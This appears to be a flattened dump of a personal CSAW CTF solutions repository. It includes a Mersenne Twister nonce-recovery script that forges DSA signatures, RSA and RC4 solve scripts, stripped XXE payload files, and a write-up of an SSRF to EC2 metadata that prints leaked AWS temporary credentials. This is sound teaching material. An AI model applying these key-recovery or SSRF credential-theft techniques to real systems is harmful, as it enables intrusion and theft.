"Sicing "+str(i) 64 | fileName = "input" 65 | #outputFN = "output_"+str(i) 66 | outputFN ="pleaswork" 67 | 68 | # createM24File(numChords,1,fileName) 69 | 70 | # return 71 | 72 | metaData = getMetaData(outputFN+'.'+fileFormat) 73 | 74 | Input = getData(fileName) 75 | 76 | Output = getData(outputFN) 77 | 78 | Reversed = reverseFunction(Input,Output) 79 | print(len(Reversed),len(Output)) 80 | half_out = int(len(Reversed)/2) 81 | finalArr = Reversed[:half_out] 82 | for i in range(half_out): 83 | item2 = Reversed[i+half_out] 84 | if(1 in item2): 85 | finalArr[i].append(1) 86 | finStr = "" 87 | for item in finalArr: 88 | hexValue = hex(sum([2**num for num in item]))[2:] 89 | finStr += hexValue 90 | l = (metaData,finStr) 91 | print str(l) 92 | f = open('siced.txt','a') 93 | f.write(str(l)) 94 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/timelie/musicrev_old.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from music21 import * 4 | 5 | numUniquePitches = 12 6 | numChords = 200 7 | fileFormat = 'xml' 8 | octave = 4 9 | 10 | FOLDER_NAME = "_temp" 11 | FILE_NAME = "music" 12 | 13 | 14 | def unique(l): 15 | unique_list = [] 16 | for item in l: 17 | if(item not in unique_list): 18 | unique_list.append(item) 19 | return unique_list 20 | 21 | def addList(a,b): 22 | return unique(a+b) 23 | 24 | def subList(a,b): 25 | for item in b: 26 | if(item in a): 27 | a.pop(a.index(item)) 28 | 29 | def reverseFunction(chordList,output): 30 | # reverse combine_lunar_frequencies 31 | bin_arr = [] 32 | chordList = [unique([int(pit.pitches-60) for pit in item.pitches]) for item in chordList] 33 | for i in range(len(output)): 34 | item = output[i] 35 | chords = chordList[i%len(output)] 36 | bin_arr.append(unique(subList(item,chordList))) 37 | return bin_arr 38 | 39 | def createM24File(numChords,chosenChord,fileName): 40 | # don't include the name 41 | s = stream.Stream() 42 | for _ in range(numChords): 43 | c = chord.Chord() 44 | for _ in range(numUniquePitches): 45 | p = pitch.Pitch(chosenChord,octave=octave) 46 | c.add(p) 47 | s.append(c) 48 | s.write(fileFormat,fileName+'.' + fileFormat) 49 | 50 | 51 | def main(): 52 | fileNames = [FILE_NAME+str(i+1) for i in range(numUniquePitches)] 53 | try: 54 | os.mkdir(FOLDER_NAME) 55 | except: 56 | pass 57 | for i in range(len(fileNames)): 58 | createM24File(numChords,i,FOLDER_NAME+'/'+fileNames[i]) 59 | return 60 | outputs = [] 61 | 62 | convertedFiles = [ 63 | converter.parse(fileName).chordify().flat.getElementsByClass('Chord') 64 | for fileName in fileNames 65 | ] 66 | reversedFunctions = [reverseFunction(converted,output) for converted,output in zip(convertedFiles,outputs)] 67 | 68 | finalArr = reversedFunctions[0] 69 | for i in range(len(reversedFunctions[0])): 70 | item2 = reversedFunctions[1][i] 71 | if(1 in item2[i]): 72 | index = max([arr.index(1) for arr in finalArr[1:][i]]) 73 | finalArr[i] = finalArr[i][:index] + [1] + finalArr[i][index:] 74 | finStr = "" 75 | for item in finalArr: 76 | hexValue = hex(sum([2**num for num in item])) 77 | finStr += hexValue 78 | return hexValue 79 | 80 | if(__name__=='__main__'): 81 | main() 82 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/timelie/runner_commented.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/sage 2 | from flask import Flask, render_template, flash, request, redirect, url_for, send_from_directory 3 | from werkzeug.utils import secure_filename 4 | from sagesham import SS, rederive 5 | from secrets import REQUIRED, FLAG, APP_SECRET 6 | from music import * 7 | import uuid 8 | import os 9 | import random 10 | import pickle 11 | 12 | app = Flask(__name__) 13 | app.config["RAW_FILES"] = "./tmp/" 14 | shares = [] 15 | 16 | # A hint about how SSS was implemented, seems like sage was used 17 | 18 | def prepare_lawsuit(): 19 | # total_pieces = 4000 20 | # required_pieces = REQUIRED 21 | # prime = 101109149181191199401409419449461491499601619641661691809811881911 22 | # secret = int(FLAG.encode('hex'),16) 23 | # sham = SS(secret, total_pieces, required_pieces, prime) 24 | # return sham.create_shares() 25 | return pickle.load(open('pshares','rb')) 26 | 27 | 28 | # The first thing that'll run once you open webpage 29 | @app.route('/') 30 | def index(): 31 | return render_template('index.html') # index.html has been loaded 32 | 33 | # POST on /musicin 34 | @app.route('/musicin', methods=['POST']) 35 | def invoke_artificial_intelligence_factorization(): 36 | global shares # Global shares 37 | if 'file' not in request.files: # Don't be sly, else 38 | return redirect(url_for("index", _anchor="features")) # Redirect to /#features 39 | file = request.files['file'] # Get Attributes 40 | if file.filename =='': # No empty file name allowed 41 | return redirect(url_for("index", _anchor="features")) # If so, then redirect to /#features 42 | 43 | # For example 44 | # test.txt uploaded will be saved as 45 | # ./tmp/cc567660-6c84-44cc-a156-86f29c5c5529test.txt 46 | name = os.path.join(app.config['RAW_FILES'], str(uuid.uuid4()) + secure_filename(file.filename)) 47 | file.save(name) # Now we can save as it's not guessable 48 | share = random.choice(shares) 49 | 50 | # try block 51 | try: 52 | # Something like musicals/5d7bdb7d-e925-486f-a6bf-277fa69fa3ca , can't guess 53 | magic_name = os.path.join('musicals',str(uuid.uuid4())) 54 | #create score is called with 55 | # name 56 | # hex of 2nd element of share 57 | # string of integer represent of 1st element of share 58 | # magic name 59 | create_score(name, hex(int(share[1])).replace('0x','').replace('L',''), str(int(share[0])), magic_name) 60 | # Reutrn to /sheetmusic/musicals/5d7bdb7d-e925-486f-a6bf-277fa69fa3ca 61 | # Hence, magic name will be known after the create_score is called 62 | return redirect('/sheetmusic/{}'.format(magic_name)) 63 | except Exception as e: 64 | print e 65 | return redirect(url_for("index", _anchor="features")) 66 | return redirect(url_for("index", _anchor="features")) 67 | 68 | n 69 | 70 | @app.route('/musicals/') 71 | def transmit_super_quantum_secrets(path): 72 | return send_from_directory('musicals', path) 73 | 74 | @app.route('/sheetmusic/musicals/', methods=['GET']) 75 | def entangle_quasi_primes(filename): 76 | return render_template("musical.html", filename="/musicals/"+filename) 77 | 78 | if __name__ == '__main__': 79 | app.secret_key = APP_SECRET # Set APP_SECRET 80 | environment.UserSettings()['warnings']=0 # No warnings, No Haxx 81 | shares = prepare_lawsuit() # Prepare SS 82 | app.run(host='0.0.0.0') # Run Flask everywhere 83 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/unagi/payload1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | parser 6 | breaks 7 | &my; 8 | why@os.com 9 | CSAW2019 10 | 11 | 12 | bob 13 | passwd2 14 | Bob 15 | bob@fakesite.com 16 | CSAW2019 17 | 18 | 19 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/unagi/payload2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | alice 6 | passwd1 7 | Alice 8 | &my; 9 | CSAW2019 10 | 11 | 12 | bob 13 | passwd2 14 | Bob 15 | bob@fakesite.com 16 | CSAW2019 17 | 18 | 19 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/unagi/payload4.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/csaw-ctf-quals-2019/unagi/payload4.xml -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/unagi/sample.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | alice 5 | passwd1 6 | Alice 7 | alice@fakesite.com 8 | CSAW2019 9 | 10 | 11 | bob 12 | passwd2 13 | Bob 14 | bob@fakesite.com 15 | CSAW2019 16 | 17 | 18 | -------------------------------------------------------------------------------- /csaw-finals-2018/DSA/README.md: -------------------------------------------------------------------------------- 1 | # DSA - 400 points 2 | 3 | First blood in our zone 4 | ![Challenge](images/firstblood.PNG) 5 | 6 | Solution script in `solve.py` 7 | -------------------------------------------------------------------------------- /csaw-finals-2018/DSA/handout_main.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import hashlib 3 | import json 4 | import os 5 | import random 6 | import struct 7 | 8 | from cryptography.exceptions import InvalidSignature 9 | from cryptography.fernet import Fernet, InvalidToken 10 | from cryptography.hazmat.backends import default_backend 11 | from cryptography.hazmat.primitives import hashes 12 | from cryptography.hazmat.primitives.asymmetric.rsa import _modinv 13 | from cryptography.hazmat.primitives.serialization import load_pem_private_key 14 | 15 | from flask import Flask, abort, request 16 | 17 | 18 | app = Flask(__name__) 19 | 20 | 21 | with open("ctf.key", "rb") as f: 22 | pem_data = f.read() 23 | 24 | ctf_key = load_pem_private_key( 25 | pem_data, password=None, backend=default_backend() 26 | ) 27 | 28 | CSAW_FLAG = os.getenv("CSAW_FLAG") 29 | FERNET = Fernet(Fernet.generate_key()) 30 | 31 | 32 | @app.route("/capture", methods=["POST"]) 33 | def capture(): 34 | sig = binascii.unhexlify(request.form["signature"]) 35 | challenge = request.form["challenge"].encode("ascii") 36 | try: 37 | FERNET.decrypt(challenge) 38 | except InvalidToken: 39 | abort(400) 40 | try: 41 | ctf_key.public_key().verify(sig, challenge, hashes.SHA256()) 42 | return "flag{%s}" % CSAW_FLAG 43 | except InvalidSignature: 44 | abort(400) 45 | 46 | 47 | @app.route("/challenge") 48 | def challenge(): 49 | return FERNET.encrypt(b"challenged!") 50 | 51 | 52 | @app.route("/sign/") 53 | def signer(data): 54 | r, s = sign(ctf_key, data) 55 | return json.dumps({"r": r, "s": s}) 56 | 57 | 58 | @app.route("/forgotpass") 59 | def returnrand(): 60 | # Generate a random value for the reset URL so it isn't guessable 61 | random_value = binascii.hexlify(struct.pack(">Q", random.getrandbits(64))) 62 | return "https://innitech.local/resetpass/{}".format( 63 | random_value.decode("ascii") 64 | ) 65 | 66 | 67 | @app.route("/resetpass/") 68 | def resetpass(key): 69 | # TODO: Implement this later. Innitech doesn"t utilize users in this system 70 | # right now anyway. 71 | return "", 500 72 | 73 | 74 | @app.route("/public_key") 75 | def public_key(): 76 | pn = ctf_key.private_numbers() 77 | return json.dumps({ 78 | "g": pn.public_numbers.parameter_numbers.g, 79 | "q": pn.public_numbers.parameter_numbers.q, 80 | "p": pn.public_numbers.parameter_numbers.p, 81 | "y": pn.public_numbers.y 82 | }) 83 | 84 | 85 | @app.route("/") 86 | def main(): 87 | return "Welcome to Innitech. Good luck!" 88 | 89 | 90 | def sign(ctf_key, data): 91 | data = data.encode("ascii") 92 | pn = ctf_key.private_numbers() 93 | g = pn.public_numbers.parameter_numbers.g 94 | q = pn.public_numbers.parameter_numbers.q 95 | p = pn.public_numbers.parameter_numbers.p 96 | x = pn.x 97 | k = random.randrange(2, q) 98 | kinv = _modinv(k, q) 99 | r = pow(g, k, p) % q 100 | h = hashlib.sha1(data).digest() 101 | h = int.from_bytes(h, "big") 102 | s = kinv * (h + r * x) % q 103 | return (r, s) 104 | 105 | 106 | if __name__ == "__main__": 107 | app.run(host="0.0.0.0") 108 | -------------------------------------------------------------------------------- /csaw-finals-2018/DSA/images/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /csaw-finals-2018/DSA/images/firstblood.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/csaw-finals-2018/DSA/images/firstblood.PNG -------------------------------------------------------------------------------- /csaw-finals-2018/DSA/solve.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | from MTRecover import * #https://github.com/eboda/mersenne-twister-recover 3 | import random 4 | import json 5 | import struct 6 | import hashlib 7 | import requests 8 | from cryptography.exceptions import InvalidSignature 9 | from cryptography.fernet import Fernet, InvalidToken 10 | from cryptography.hazmat.backends import default_backend 11 | from cryptography.hazmat.primitives import hashes 12 | from cryptography.hazmat.primitives.asymmetric.rsa import _modinv 13 | from cryptography.hazmat.primitives.serialization import load_pem_private_key 14 | from cryptography.hazmat.primitives.asymmetric.dsa import * 15 | 16 | ''' 17 | Solved by knapstack(@aaditya_purani) with theKidOfArcrania & c4pkirk 18 | ''' 19 | 20 | q = 113682110273511993305117595002439707655399899191032492320097175281224216825509L 21 | p = 16383739159776510143045518259689957604328868221586457207558055594442367557299259814084302024147970846423646628270733146558598493252800563058880387772765353151309886431380681712930948311011652809907860782451771375486702026822424601435746560856969583139070452116860969875276720072120496365787614603256846643073045448039324635734805124148830027581007195698809646465908524882892134810627218422202081127537234414771114823606172581273064386500248695295693846257097545078656729305004923464492472745004046595899677068327153315990502418761852352615570540647096382249960114318351762156536021243281812989274186614608763536446159L 22 | y = 10932552827951492371518759727132943213569841508349909426502107635446347219345301565626282301284331327391741647317160801581899076429946361897351907054818314108404952692521782798003121300929331858600628453955108511216237686338172899090494187962345988719005708059369719026341320421147617883021618903286575591912791935979766959023304406551142467505926295853202873971480287617865928509266703526267394008179952493342709646595256765963244181196103346487820161576302142662564836048645755757583545229955660085447903160165838197885278436346801591152064904169305343150923471333067459686716708975726439855817037022332423860984063L 23 | g = 10675097325257559738713775402182145091139368238328681175728542764092347116878144969928877946586736343442152741965211779516496089532912359935302652161077038338224019580917586106523101981264523867719811183555905170908839350043827346694689800787773527890625298392273719601076737408746095059109776728820647681730116352321802195361856854210365511006128969513911694539844312193693667539083511065812029610796210949453479930983400430688331183342737254963541805793946290885139569574302953806893910945713865291143970553245270512852489652301822481682024996995381213706535474506737905868028431239269748655331747355342878624921979L 24 | 25 | hardcoded_message = "love" 26 | 27 | def divide_bit(outputs): 28 | for i in range(313): 29 | bit64_num = struct.unpack(">Q", outputs[i]) 30 | lower_32 = bit64_num[0] & 0xffffffff 31 | higher_32 = bit64_num[0] >> 32 & 0xffffffff 32 | divided_outputs.append(lower_32) 33 | divided_outputs.append(higher_32) 34 | 35 | # random seeds in hex 36 | outputs_from_server = [] 37 | 38 | for i in range(0, 313): 39 | print "[+] Getting hash "+str(i) 40 | r = requests.get("http://crypto.chal.csaw.io:1000/forgotpass") 41 | outputs_from_server.append(str(r.text.split('/')[-1])) 42 | 43 | # hex decoded seeds 44 | bytes_of_data= [] 45 | 46 | for i in xrange(0, len(outputs_from_server)): 47 | bytes_of_data.append(binascii.unhexlify(outputs_from_server[i])) 48 | 49 | # 312 requests needed 50 | 51 | divided_outputs = [] 52 | 53 | divide_bit(bytes_of_data) 54 | 55 | print len(divided_outputs) 56 | 57 | mtr = MT19937Recover() 58 | r2 = mtr.go(divided_outputs) # our state 59 | 60 | # Testomg 61 | r = requests.get("http://crypto.chal.csaw.io:1000/forgotpass") 62 | boo = binascii.unhexlify(str(r.text.split('/')[-1])) 63 | bit64_num = struct.unpack(">Q", boo) 64 | print "From server the next number is: " + str(bit64_num[0]) 65 | 66 | our_gen = r2.getrandbits(64) 67 | print "Our next number is: " + str(our_gen) 68 | 69 | if our_gen == bit64_num[0]: 70 | print "[+] Owned!" 71 | 72 | k = r2.randrange(2, q) 73 | r_int = pow(g, k, p) % q 74 | kinv = _modinv(k, q) 75 | 76 | 77 | r1 = requests.get("http://crypto.chal.csaw.io:1000/sign/"+hardcoded_message) 78 | s = json.loads(str(r1.text))['s'] 79 | r_server = json.loads(str(r1.text))['r'] 80 | 81 | print r_int 82 | print r_server 83 | 84 | # r^-1 (s.k -H(m)) % q 85 | 86 | h_ourend = hashlib.sha1(hardcoded_message).digest() 87 | h = int(h_ourend.encode('hex'), 16) 88 | x =(s*k)-h 89 | x = x * _modinv(r_int, q) % q 90 | print x 91 | 92 | # p,g,q,x will be private key 93 | 94 | param = DSAParameterNumbers(p,q,g) 95 | pub = DSAPublicNumbers(y, param) 96 | pri_key = default_backend().load_dsa_private_numbers(DSAPrivateNumbers(x,pub)) 97 | 98 | r4 = requests.get("http://crypto.chal.csaw.io:1000/challenge") 99 | b64_chall = str(r4.text) 100 | #print b64_chall 101 | sig = pri_key.sign(b64_chall, hashes.SHA256()) 102 | final_sig = binascii.hexlify(sig) 103 | 104 | r4 = requests.post("http://crypto.chal.csaw.io:1000/capture", data={'challenge':b64_chall, 'signature':final_sig}) 105 | print r4.text 106 | 107 | #flag{NowyourereadytocrackthePS3YeahSonydidthiswithECDSA} 108 | -------------------------------------------------------------------------------- /csaw-finals-2018/README.md: -------------------------------------------------------------------------------- 1 | # CSAW Finals 2018 2 | 3 | Competed in US-Canada Region. 4 | 5 | Write-ups may / may not have explaination. But always contain a proof of concept code with comments 6 | 7 | Team rank : 6th both world-wide & US-Canada 8 | https://ctftime.org/event/696 9 | 10 | Personal stats: 11 | ![Challenge](images/personal.PNG) 12 | -------------------------------------------------------------------------------- /csaw-finals-2018/asr4cr/README.md: -------------------------------------------------------------------------------- 1 | # ASR4CR - 50 points Crypto 2 | 3 | Solution script -- step1.py & step2.py 4 | 5 | 6 | 7 | ##### FLAG{RC4_I3_D3AD_BUT_1T_1S_G00D_T0_KN0W} 8 | -------------------------------------------------------------------------------- /csaw-finals-2018/asr4cr/handout_ctf.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | secret_flag = "?" 4 | real_flag = "?" 5 | 6 | msg1 = "FAKE{LC5_I3_SH0RT}" 7 | 8 | msg2 = "?" 9 | 10 | key = "?" 11 | 12 | key_arr = [ord(i) for i in key] 13 | 14 | #you will never get my secret flag 15 | 16 | m = int("0x"+secret_flag.encode('hex'),16) 17 | 18 | c = 45532901824779701378231663264317691918332830832727980686741777650350897654972731931906126487183695081149779754337211259576173166293099080026360210494238959275834930884772828914504790990220112618808803618718921284861471408452351387148489569208903847288964821402052254148148283550521299399412532966770835208456058835316550638049581681130969595007241458911654151363153992694300910445899304425484918330492562481928441188111780684754432851810943390386788371370446571697596730749234374112810876064553895009312729747803267970163376377525012371123934730259190839294187981333459364290514186662847699605450828212079377654174428 19 | 20 | e = 56464345445116249098049045336807445234357883929066056160509800851174255932943697111857107660018784212036377880810894047380656549383278972198516300670834705016468999714250951486912600249341791051961539477938043350992976556533909606031953927579029664976360355357096884954199433767448339255264831657804069495212007831723081630922243488700092552780963937083647566868158843349870118898134140101603936510785879524001693384328179832659722334742169456879889671271238721506778301709871337885442564361586631293011137834137912109208181348656281720720627766394041913283080319450233438914935475856576320213363102937394294033243533 21 | 22 | n = 144731657075172369458365253117444692939543043921858848859103787081029935571261433965575780267889126491908228025197396050544630151378291212236766311668806004054369644769305000545793583915353079764667366200180574291376348069728516020997330701012031222049248560650540529425983462590552767265793268609531384242005329075143421408062869554263876675060033088763864236117044254825364969220914682084657647653707895098928730418682497939953647008736234172764734833411879279956351555928480516439340800516536708422230087334841118192814828087714947355712947595518081579349585938062548316427420775872732829914145491413512568074735861 23 | 24 | 25 | enc1 = encrypt(real_flag,PRGA(KSA(key_arr))) 26 | enc2 = encrypt(msg1,PRGA(KSA(key_arr))) 27 | enc3 = encrypt(msg2,PRGA(KSA(key_arr))) 28 | 29 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 31 | s.bind(('0.0.0.0', 4444)) 32 | s.listen(10) 33 | 34 | while True: 35 | ss, addr = s.accept() 36 | while True: 37 | 38 | ss.send("Passwd\n") 39 | ss.send(">>") 40 | 41 | data = ss.recv(0x1024).strip("\n") 42 | 43 | if data == secret_flag: 44 | ss.send("Fake Msg: %s\n" % (msg2)) 45 | ss.send("C1: %s\n" % (enc1)) 46 | ss.send("C2: %s\n" % (enc3)) 47 | else: 48 | ss.send("Fake Msg: %s\n" % (msg1)) 49 | ss.send("C1: %s\n" % (enc1)) 50 | ss.send("C2: %s\n" % (enc2)) 51 | break 52 | ss.close() 53 | 54 | 55 | -------------------------------------------------------------------------------- /csaw-finals-2018/asr4cr/step1.py: -------------------------------------------------------------------------------- 1 | # From https://github.com/scryptos/scryptoslib 2 | from scryptos.crypto.attack import * 3 | from scryptos import * 4 | 5 | import gmpy2 6 | 7 | # From https://github.com/p4-team/crypto-commons 8 | from crypto_commons.rsa.rsa_commons import * 9 | from crypto_commons.generic import fermat_factors, bytes_to_long 10 | 11 | 12 | p = 428643990416976477716764850878502231603705523272326398026786240084557376443073803416819816120333525653424613406611204037952546455629443911848049419374304880115648925248301709937343412988970459434056661778634837743595123576734580491051784931880469858273312892768122532095192274813235103685291374797410282818273 13 | 14 | q = 337650031986638255256124896423474229331083186382695534617272536764831570266854189744586592186454979143954214295937685718718879065111184184757765801450026109110978471356060857270313869918128562484485794392597973610219214304334212116619451081817951317601028337770709368740009259230153993786625072792516471979157 15 | 16 | c = 45532901824779701378231663264317691918332830832727980686741777650350897654972731931906126487183695081149779754337211259576173166293099080026360210494238959275834930884772828914504790990220112618808803618718921284861471408452351387148489569208903847288964821402052254148148283550521299399412532966770835208456058835316550638049581681130969595007241458911654151363153992694300910445899304425484918330492562481928441188111780684754432851810943390386788371370446571697596730749234374112810876064553895009312729747803267970163376377525012371123934730259190839294187981333459364290514186662847699605450828212079377654174428 17 | 18 | e = 56464345445116249098049045336807445234357883929066056160509800851174255932943697111857107660018784212036377880810894047380656549383278972198516300670834705016468999714250951486912600249341791051961539477938043350992976556533909606031953927579029664976360355357096884954199433767448339255264831657804069495212007831723081630922243488700092552780963937083647566868158843349870118898134140101603936510785879524001693384328179832659722334742169456879889671271238721506778301709871337885442564361586631293011137834137912109208181348656281720720627766394041913283080319450233438914935475856576320213363102937394294033243533 19 | 20 | n = 144731657075172369458365253117444692939543043921858848859103787081029935571261433965575780267889126491908228025197396050544630151378291212236766311668806004054369644769305000545793583915353079764667366200180574291376348069728516020997330701012031222049248560650540529425983462590552767265793268609531384242005329075143421408062869554263876675060033088763864236117044254825364969220914682084657647653707895098928730418682497939953647008736234172764734833411879279956351555928480516439340800516536708422230087334841118192814828087714947355712947595518081579349585938062548316427420775872732829914145491413512568074735861 21 | 22 | ''' 23 | As e is too big, I used wiener to factor p,q 24 | ''' 25 | 26 | #rsa = RSA(e, n) 27 | #print rsautil.wiener(rsa) 28 | 29 | phi = (p-1)*(q-1) 30 | d = modinv(e,phi) 31 | pt = rsa_printable(c,d,n) 32 | print pt 33 | # RSA{FIRST_ROUND_WAS_NOT_TOO_BAD} 34 | -------------------------------------------------------------------------------- /csaw-finals-2018/asr4cr/step2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | ''' 4 | $ nc crypto.chal.csaw.io 1001 5 | Passwd 6 | >>RSA{FIRST_ROUND_WAS_NOT_TOO_BAD} 7 | Fake Msg: FAKE{LC5_I3_FAK3_BUT_1T_1S_G00D_T0_KN0W} 8 | C1: [ 206 , 220 , 76 , 109 , 97 , 54 , 177 , 150 , 19 , 0 , 232 , 112 , 128 , 175 , 140 , 36 , 85 , 217 , 49 , 9 , 159 , 14 , 119 , 24 , 148 , 96 , 179 , 21 , 204 , 5 , 189 , 251 , 77 , 26 , 75 , 210 , 198 , 157 , 131 , 86 ] 9 | ] 10 | C2: [ 206 , 209 , 70 , 111 , 97 , 40 , 177 , 151 , 19 , 0 , 232 , 112 , 130 , 221 , 134 , 83 , 85 , 217 , 49 , 9 , 159 , 14 , 119 , 24 , 148 , 96 , 179 , 21 , 204 , 5 , 189 , 251 , 77 , 26 , 75 , 210 , 198 , 157 , 131 , 86 ] 11 | 12 | ''' 13 | 14 | c1=[ 206 , 220 , 76 , 109 , 97 , 54 , 177 , 150 , 19 , 0 , 232 , 112 , 128 , 175 , 140 , 36 , 85 , 217 , 49 , 9 , 159 , 14 , 119 , 24 , 148 , 96 , 179 , 21 , 204 , 5 , 189 , 251 , 77 , 26 , 75 , 210 , 198 , 157 , 131 , 86 ] 15 | 16 | c2 = [ 206 , 209 , 70 , 111 , 97 , 40 , 177 , 151 , 19 , 0 , 232 , 112 , 130 , 221 , 134 , 83 , 85 , 217 , 49 , 9 , 159 , 14 , 119 , 24 , 148 , 96 , 179 , 21 , 204 , 5 , 189 , 251 , 77 , 26 , 75 , 210 , 198 , 157 , 131 , 86 ] 17 | 18 | print xor(c2, 'FAKE{LC5_I3_FAK3_BUT_1T_1S_G00D_T0_KN0W}', c1) 19 | 20 | # FLAG{RC4_I3_D3AD_BUT_1T_1S_G00D_T0_KN0W} 21 | -------------------------------------------------------------------------------- /csaw-finals-2018/images/README.md: -------------------------------------------------------------------------------- 1 | # For visual happiness 2 | -------------------------------------------------------------------------------- /csaw-finals-2018/images/personal.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/csaw-finals-2018/images/personal.PNG -------------------------------------------------------------------------------- /csaw-finals-2018/online-previewer/README.md: -------------------------------------------------------------------------------- 1 | # Online Previewer - 400 points (Web) 2 | 3 | *Question:* 4 | ``` 5 | I deployed this cool website in the cloud that allows you to know if your online documents are available anywhere. You just provide your link, and it will read it for you. Obviously I restricted it to text files, but I still got hacked recently. Would you be able to help me find out how? 6 | 7 | ctf-elb-942178366.us-east-1.elb.amazonaws.com 8 | 9 | Written by Jules Denardou & Justin Massey, Datadog 10 | ``` 11 | 12 | *Writeup:* 13 | 14 | ![](images/web400-1.PNG) 15 | 16 | We have provided a service, through which we can query any `.pdf` , `.txt` or `.md` extension. First thing, I found interesting was `.md` extension. 17 | There has been numerous time in previous CTFs (for instance: Nuit Du Hack's Mark is falling or Confidence CTF 2017). `.md` extensions are used for Markdown files (Like the current writeup you are reading). It could render `#`, `[]()` etc to name few. 18 | I started investigating that first, and hosted few naughty markdown on my domain, we will call it http://example.com throughout the writeup. 19 | 20 | Although I was able to see the content on the site, but rendering didn't worked. Next, logical step was to do a page-source. 21 | 22 | ``` 23 | 26 | ``` 27 | 28 | Interesting, as I have done S3 buckets takeover in bug bounties before few years. I know that url could also be rewritten as 29 | http://csaw-ctf.s3.amazonaws.com/ 30 | 31 | Cute, now we have the content of what files are hosted on that bucket. 32 | 33 | ```xml 34 | 35 | csaw-ctf 36 | 37 | 38 | 1000 39 | false 40 | 41 | flag 42 | 2018-11-02T19:52:38.000Z 43 | "f27ba6a3e60893fe25a47886e1582e56" 44 | 36 45 | STANDARD 46 | 47 | 48 | ``` 49 | 50 | Now, I fired up my `awscli` and queried it like `aws s3 cp s3://csaw-ctf/flag ./flag` 51 | 52 | Throws me [401] permission error. I tried with the correct region which I found using `host` command also used verbose debug output and figured out I lacked the permission to access the flag file. 53 | 54 | So, it's not a cake-walk. AWS EC2 has a feature called the [Instance Metadata Service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html). This enables any EC2 instance to access a REST API running on `169.254.169.254`, which returns data about the instance itself. 55 | Hence, you would be able to leak stuff like Instance name, ID, credentials, etc. 56 | 57 | We obviously had a limited SSRF as of now due to file extension filter. But well, that doesn't stop us from redirecting what file server requests to our web-server to something else. 58 | 59 | I created a `.htaccess` in a separate directory 60 | 61 | ``` 62 | AddType application/x-httpd-php .md 63 | ``` 64 | 65 | and restarted the `apache` webserver. What this will do is it will execute markdown .md files as php files. So, I can apparently write some php code into `.md` and it will execute as just like any other php file if it's in same directory as of `.htaccess` 66 | 67 | So, my crafted markdown was 68 | 69 | ``` 70 | 73 | ``` 74 | 75 | Now, we submit our http://example.com/exploit/index.md to their webservice. Woot, we leaked the AWS credentials. 76 | 77 | ![](images/web400-2.PNG) 78 | 79 | ```json 80 | { "Code" : "Success", "LastUpdated" : "2018-11-13T16:19:48Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAS7BJMNVVZRKPTURL", "SecretAccessKey" : "U/SHZlLN6OLQ3AVWgdh2pWZ7lV1FEjKS5nR/wgBC", "Token" : "FQoGZXIvYXdzEOL//////////wEaDOYg2SnsRsw1VaCpSCK3AwYY/Z/TwdhJ9BLPuABqkX0EbzFsrRbChhTfXiEzdoTkLL/i2bEjQTdWjehr2BjiPzD1UhalvvRQqYBX+9sD4qoXmpc7KSCQ3UYZsdTfpRDWzu6KZjUxc8hVLwlHut5kI3d7HIxy3hN9UQkJENGrMRUWDAUbo6evPIHYI7H4gCmUUb7dbAxZGLFK0QCB7pRYiA2ND3Zs68h158Rp5TnLRA+/sH5PAoWctMsavIYt4EPQR3rvzjtvI+IG6uzWJnxi1a+fFZxbTbUTv3OpR/n3b09ZpMjmJxDA1VSzBzA/25/T2aVPMLjnI1LJsAKzQGvY8eyqJBmFAj67llxLXAbHqzVUcrf3jrH1eKP5no2nXsoc9dCXFPPMs3rSLGANk2H+5aYaQzIGWPbnUk4VNWWy3gVqz7+MMxSNi9EwB08dbxmtmEJ+f4gexmqZtGgW+wC9TKhMYhKBqQYNp7o6a7YRCIiJYRCz6K/uBE+J2Lnd4oYEQB/XpWzk4/+2EASIIle1wlHRNXTmKYYd1zCMrphNHtebI81GMAua/AJp9NMfhUZNd67PtPMhXTQ42cmNrm6cp1CsgcGSnpQoxvOr3wU=", "Expiration" : "2018-11-13T22:48:02Z" } 81 | ``` 82 | 83 | Now, it's a cake-walk 84 | 85 | ``` 86 | dcua@ubuntu:~/.aws$ export 